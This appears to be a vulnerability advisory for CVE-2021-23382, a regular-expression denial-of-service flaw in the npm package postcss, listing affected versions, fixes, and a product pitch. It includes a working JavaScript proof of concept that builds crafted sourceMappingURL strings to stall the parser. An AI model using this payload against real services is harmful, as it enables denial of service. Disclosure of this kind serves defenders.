MediumGHSA-566m-qj78-rww5CVE-2021-23382
Regular Expression Denial of Service in postcss
Published 7 Jan 2022 · Updated 14 Jan 2025
Affected packages
postcssnpm
- Affected
- >=8.0.0 <8.2.13
- Fixed in
- 8.2.13
Update to the fixed version for your release line, for example:
npm install postcss@8.2.13postcssnpm
- Affected
- <7.0.36
- Fixed in
- 7.0.36
Update to the fixed version for your release line, for example:
npm install postcss@7.0.36Details
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}Is GHSA-566m-qj78-rww5 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected postcss, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.